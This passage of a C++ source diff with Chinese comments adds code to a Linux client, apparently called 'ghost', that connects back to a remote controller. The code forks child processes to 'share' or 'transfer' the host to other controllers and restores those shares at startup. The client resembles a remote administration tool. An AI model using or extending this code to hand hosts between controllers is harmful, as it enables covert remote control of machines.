} else if (r < 0 && errno == ECHILD) {
it = g_shareProcs.erase(it); // 已被别处收走(防御)
} else {
++it;
}
}
}
for (int i = 0; i < 10 && !g_shareReaperStop.load(std::memory_order_relaxed); ++i)
Sleep(100);
}
}
static void EnsureShareReaper()
{
static std::once_flag once;
std::call_once(once, [] { g_shareReaperThread = std::thread(ShareReaperLoop); });
}
// fork + execv 拉起一个分享子进程。fork 之后只做 async-signal-safe 调用(参数数组、
// fd 上限、路径都在 fork 前准备好),日志一律不碰——和 daemonize() 里踩过的
// 「fork 时日志线程持锁」是同一类坑。
static pid_t SpawnShareProcess(const std::string& entry)
{
std::string exe = getExePath();
if (exe.empty()) {
Mprintf("** SHARE: cannot resolve own executable path ***\n");
return -1;
}
std::string flag = "--share";
std::vector<char*> args;
args.push_back(&exe[0]);
args.push_back(&flag[0]);
args.push_back(const_cast<char*>(entry.c_str()));
args.push_back(nullptr);
long maxFd = sysconf(_SC_OPEN_MAX);
if (maxFd < 0 || maxFd > 65536) maxFd = 65536;
pid_t pid = fork();
if (pid < 0) {
Mprintf("** SHARE: fork failed: %s ***\n", strerror(errno));
return -1;
}
if (pid == 0) {
// 主实例被 SIGKILL 时也要跟着退,别留下孤儿分享连接一直挂在目标主控上
prctl(PR_SET_PDEATHSIG, SIGTERM);
if (getppid() == 1) _exit(1); // fork 与 prctl 之间主实例已经没了
setsid();
int devnull = open("/dev/null", O_RDWR);
if (devnull >= 0) {
dup2(devnull, STDIN_FILENO);
dup2(devnull, STDOUT_FILENO);
dup2(devnull, STDERR_FILENO);
if (devnull > STDERR_FILENO) close(devnull);
}
// 关掉继承的 socket / 日志 fd:子进程要用自己的连接和自己的日志文件
for (long f = STDERR_FILENO + 1; f < maxFd; ++f)
close((int)f);
execv(exe.c_str(), args.data());
_exit(127); // exec 失败:主实例日志里能看到子进程立刻退出
}
return pid;
}
// 子进程还活着吗?僵尸也算「已退出」:kill(pid, 0) 对僵尸仍然成功,会把一个已经
// 死掉、只等 reaper 收尸的空槽当成在跑,随后同一目标的重复下发被静默丢掉。
// 调用方须持有 g_shareMu(reaper 线程也用同一把锁做 waitpid,不会两边抢收尸)。
static bool ChildAliveLocked(pid_t pid)
{
int st = 0;
pid_t r = waitpid(pid, &st, WNOHANG);
return r == 0; // 0 = 还在跑;=pid 本次已收尸;-1/ECHILD = reaper 已收走
}
// 结束一个子进程:SIGTERM 最多等 3 秒,不走再 SIGKILL 等 1 秒。调用方须持有 g_shareMu。
// 不做无限期阻塞 waitpid:万一是 D 状态的进程,卡住的就是整个命令处理线程。
static void TerminateChildLocked(pid_t pid)
{
if (!ChildAliveLocked(pid))
return;
kill(pid, SIGTERM);
for (int i = 0; i < 30; ++i) {
Sleep(100);
if (!ChildAliveLocked(pid))
return;
}
kill(pid, SIGKILL);
for (int i = 0; i < 10; ++i) {
Sleep(100);
if (!ChildAliveLocked(pid))
return;
}
Mprintf(">>> Child pid %d still alive after SIGKILL, giving up on it\n", (int)pid);
}
// 起一个受管子进程并登记。key 在本进程内唯一:分享用 "ip:port",转移用 "transfer:ip:port",
// 这样转移目标与分享目标相同也不会互相顶掉。
static bool SpawnManagedChild(const std::string& key, const std::string& entry, bool transfer)
{
EnsureShareReaper();
std::lock_guard<std::mutex> lk(g_shareMu);
auto it = g_shareProcs.find(key);
if (it != g_shareProcs.end()) {
// 完全相同的记录且子进程还活着:什么都不用做(与 Windows 的 identical 分支一致)。
// 否则重复下发一次分享就会白断一次连接。
if (it->second.entry == entry && ChildAliveLocked(it->second.pid)) {
Mprintf(">>> Connection to %s already running (pid %d), unchanged\n",
key.c_str(), (int)it->second.pid);
return true;
}
// 同一目标已经有一条连接(或旧连接已死):先收掉旧的再起新的,
// 否则同一个 clientID 会有两条连接互相踢。
Mprintf(">>> Connection to %s already running (pid %d), restarting as %s\n",
key.c_str(), (int)it->second.pid, entry.c_str());
TerminateChildLocked(it->second.pid);
g_shareProcs.erase(it);
}
pid_t pid = SpawnShareProcess(entry);
if (pid <= 0)
return false;
g_shareProcs[key] = ShareProc{ pid, entry, transfer };
Mprintf(">>> %s instance started: %s (pid %d)\n",
transfer ? "Transfer" : "Share", entry.c_str(), (int)pid);
return true;
}
static bool StartShareInstance(const std::string& entry)
{
HostShare::Endpoint ep;
if (!HostShare::DecodeEntry(entry, ep))
return false;
const std::string shareKey = HostShare::MasterKey(ep);
{
// 同一主控上已有一条「转移」临时连接:分享是长期连接,接管它的职责。
// 不收掉的话,这个主控上会挂着同一 clientID 的两条连接,互踢。
const std::string transferKey = "transfer:" + shareKey;
std::lock_guard<std::mutex> lk(g_shareMu);
auto it = g_shareProcs.find(transferKey);
if (it != g_shareProcs.end()) {
Mprintf(">>> Share to %s replaces the transfer instance (pid %d)\n",
shareKey.c_str(), (int)it->second.pid);
TerminateChildLocked(it->second.pid);
g_shareProcs.erase(it);
}
}
return SpawnManagedChild(shareKey, entry, false);
}
// 「转移主机」立即生效的那条连接:不进 share_list(重启后由主连接自己过去),
// 也不受「取消分享」影响;目标可以暂时不可达,子进程有自己的重连循环。
static bool StartTransferInstance(const std::string& entry)
{
HostShare::Endpoint ep;
if (!HostShare::DecodeEntry(entry, ep))
return false;
const std::string shareKey = HostShare::MasterKey(ep);
{
// 同一个主控已经有分享连接时不必再起一条:目标那边已经能看到这台主机,
// 两条同 clientID 的连接只会互相踢。
std::lock_guard<std::mutex> lk(g_shareMu);
auto it = g_shareProcs.find(shareKey);
if (it != g_shareProcs.end() && !it->second.transfer
&& ChildAliveLocked(it->second.pid)) {
Mprintf(">>> Transfer target %s already reachable via share instance "
"(pid %d), extra connection skipped\n",
shareKey.c_str(), (int)it->second.pid);
return true;
}
}
return SpawnManagedChild("transfer:" + shareKey, entry, true);
}
// 停掉指定归属的子进程:SIGTERM 让子进程走自己的 signal handler 正常退出,
// 3 秒还不走就 SIGKILL(再等 1 秒)。
// 等待阶段不持 g_shareMu:调用点就在接收线程上,持锁睡会把 reaper 和其它起停一起堵住。
static void StopChildren(ManagedKind kind)
{
auto match = [kind](const ShareProc& p) {
return kind == KIND_ALL || p.transfer == (kind == KIND_TRANSFER);
};
std::vector<pid_t> pids;
{
std::lock_guard<std::mutex> lk(g_shareMu);
for (auto& kv : g_shareProcs)
if (match(kv.second))
pids.push_back(kv.second.pid);
for (pid_t pid : pids)
kill(pid, SIGTERM); // 只发信号,不等待
}
if (pids.empty())
return;
Mprintf(">>> Stopping %d child connection(s)\n", (int)pids.size());
// 收尸可能已被 reaper 线程抢先(ECHILD),一律按「已退出」处理。
auto exited = [](pid_t pid) {
int st = 0;
pid_t r = waitpid(pid, &st, WNOHANG);
return r == pid || (r < 0 && errno == ECHILD);
};
auto waitGone = [&](int rounds) {
std::vector<pid_t> left;
for (int i = 0; i < rounds; ++i) {
left.clear();
for (pid_t pid : pids)
if (!exited(pid)) left.push_back(pid);
if (left.empty()) break;
Sleep(100);
}
left.clear();
for (pid_t pid : pids)
if (!exited(pid)) left.push_back(pid);
return left;
};
std::vector<pid_t> left = waitGone(30);
for (pid_t pid : left)
kill(pid, SIGKILL);
if (!left.empty())
left = waitGone(10);
if (!left.empty())
Mprintf(">>> %d child connection(s) still alive after SIGKILL\n", (int)left.size());
std::lock_guard<std::mutex> lk(g_shareMu);
for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) {
// 只摘掉本次停掉的 pid:等待期间可能已经起了新目标,按 kind 删会误伤。
if (std::find(pids.begin(), pids.end(), it->second.pid) != pids.end())
it = g_shareProcs.erase(it);
else
++it;
}
}
// 启动时恢复上次的分享(重启前没取消的条目)。
static void StartShareInstancesFromConfig()
{
LinuxConfig cfg;
auto items = HostShare::Split(cfg.GetStr("share_list"));
if (items.size() > kMaxShareEntries) {
Mprintf(">>> share_list has %d entries, only the first %d are restored\n",
(int)items.size(), (int)kMaxShareEntries);
items.resize(kMaxShareEntries);
}
for (auto& entry : items) {
Mprintf(">>> Restoring share: %s\n", entry.c_str());
StartShareInstance(entry);
}
}
// ============== 客户端自升级(COMMAND_UPDATE) ==============
// 服务端 -> Linux 客户端载荷布局(Windows 的 COMMAND_UPDATE 没有摘要,LNX 有):
// [cmd:1][size:8 LE][ELF payload:size][md5:32 ASCII 小写 hex]
@@ -1313,12 +1698,27 @@ static void RefreshLoginCaps(LOGIN_INFOR& info)
// 用法: ./ghost [-d] [IP] [端口]
// -d 后台守护进程模式
// --share <ip:port[:shine[:transport]]> 分享实例(由主实例 fork+exec 拉起,不是给
// 人用的入口):连分享目标主控,不写 PID 文件、不处理分享/转移/升级命令。
// 示例: ./ghost -d 192.168.1.100 6543
int main(int argc, char* argv[])
{
g_argc = argc;
g_argv = argv;
// 分享子进程优先解析:它只有一个 --share 参数,不参与 -d / 位置参数那一套。
HostShare::Endpoint shareTarget;
for (int i = 1; i < argc; ++i) {
if (strcmp(argv[i], "--share") != 0)
continue;
if (i + 1 >= argc || !HostShare::DecodeEntry(argv[i + 1], shareTarget)) {
fprintf(stderr, "ghost: invalid --share argument\n");
return 1;
}
g_bShareInstance = true;
break;
}
// 解析 -d 参数
bool daemon_mode = false;
int argStart = 1;
@@ -1327,7 +1727,10 @@ int main(int argc, char* argv[])
argStart = 2;
}
if (argStart + 1 < argc) {
if (g_bShareInstance) {
// 分享实例的连接参数来自 --share,其余(机器身份、配置、日志目录)与主实例相同
HostEndpoint::ApplyEndpoint(g_SETTINGS, shareTarget);
} else if (argStart + 1 < argc) {
g_SETTINGS.SetServer(argv[argStart], atoi(argv[argStart + 1]));
} else if (argStart < argc) {
g_SETTINGS.SetServer(argv[argStart], g_SETTINGS.ServerPort());
@@ -1345,14 +1748,21 @@ int main(int argc, char* argv[])
// 信号处理
setupSignals();
// 写 PID 文件(守护进程模式下 PID 已变为子进程的)
writePidFile();
// 写 PID 文件(守护进程模式下 PID 已变为子进程的)。分享实例共用同一份配置,
// 写 PID 文件会把主实例的覆盖掉,退出时也会把它删掉——只有主实例才写。
if (!g_bShareInstance)
writePidFile();
// 上次的「转移主机」还没到期就改连目标主控(原地址记在内存里,过期后恢复)。
// 必须在 daemonize() 之后:它在有记录时会打日志,而 fork 时若日志线程正持有
// 内部锁,子进程会永远卡在那把锁上(实测 -d 启动后只剩一行 fork 前的日志,
// 父子进程都停在 futex)。fork 之前一律不碰 Logger。
InitTransferState();
// 分享实例不读转移记录:转移属于主连接,读了会把分享链路带到别的主控去。
if (!g_bShareInstance) {
InitTransferState();
// 上次没收走的分享(取消分享或主实例正常退出才会清)在这里重新拉起
StartShareInstancesFromConfig();
}
Mprintf("Server: %s:%d (PID: %d%s)\n",
g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort(),
@@ -1505,6 +1915,10 @@ int main(int argc, char* argv[])
Sleep(5000);
continue;
}
// 主连接已经搬到转移目标:那条「提前建立」的临时连接完成使命。留着就是同一
// clientID 在这个主控上的第二条连接,服务端会互踢。
if (g_transferValidTo.load(std::memory_order_relaxed) > 0)
StopChildren(KIND_TRANSFER);
// 进入新连接,重置服务端身份校验状态
ClientAuth::OnNewConnection();
@@ -1622,7 +2036,19 @@ int main(int argc, char* argv[])
Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
}
// 主实例退出:先收掉分享/转移子进程(它们各有一条连向目标主控的连接),再停日志。
// 分享实例自己不持有任何子进程,也不碰 PID 文件。
if (!g_bShareInstance) {
// 顺序不能反:先让收尸线程停下并 join,再杀子进程——否则子进程退出时它还会
// 往(马上要停的)日志里写一行。
g_shareReaperStop.store(true, std::memory_order_relaxed);
if (g_shareReaperThread.joinable())
g_shareReaperThread.join();
StopChildren(KIND_ALL);
}
Logger::getInstance().stop();
removePidFile();
if (!g_bShareInstance)
removePidFile();
return 0;
}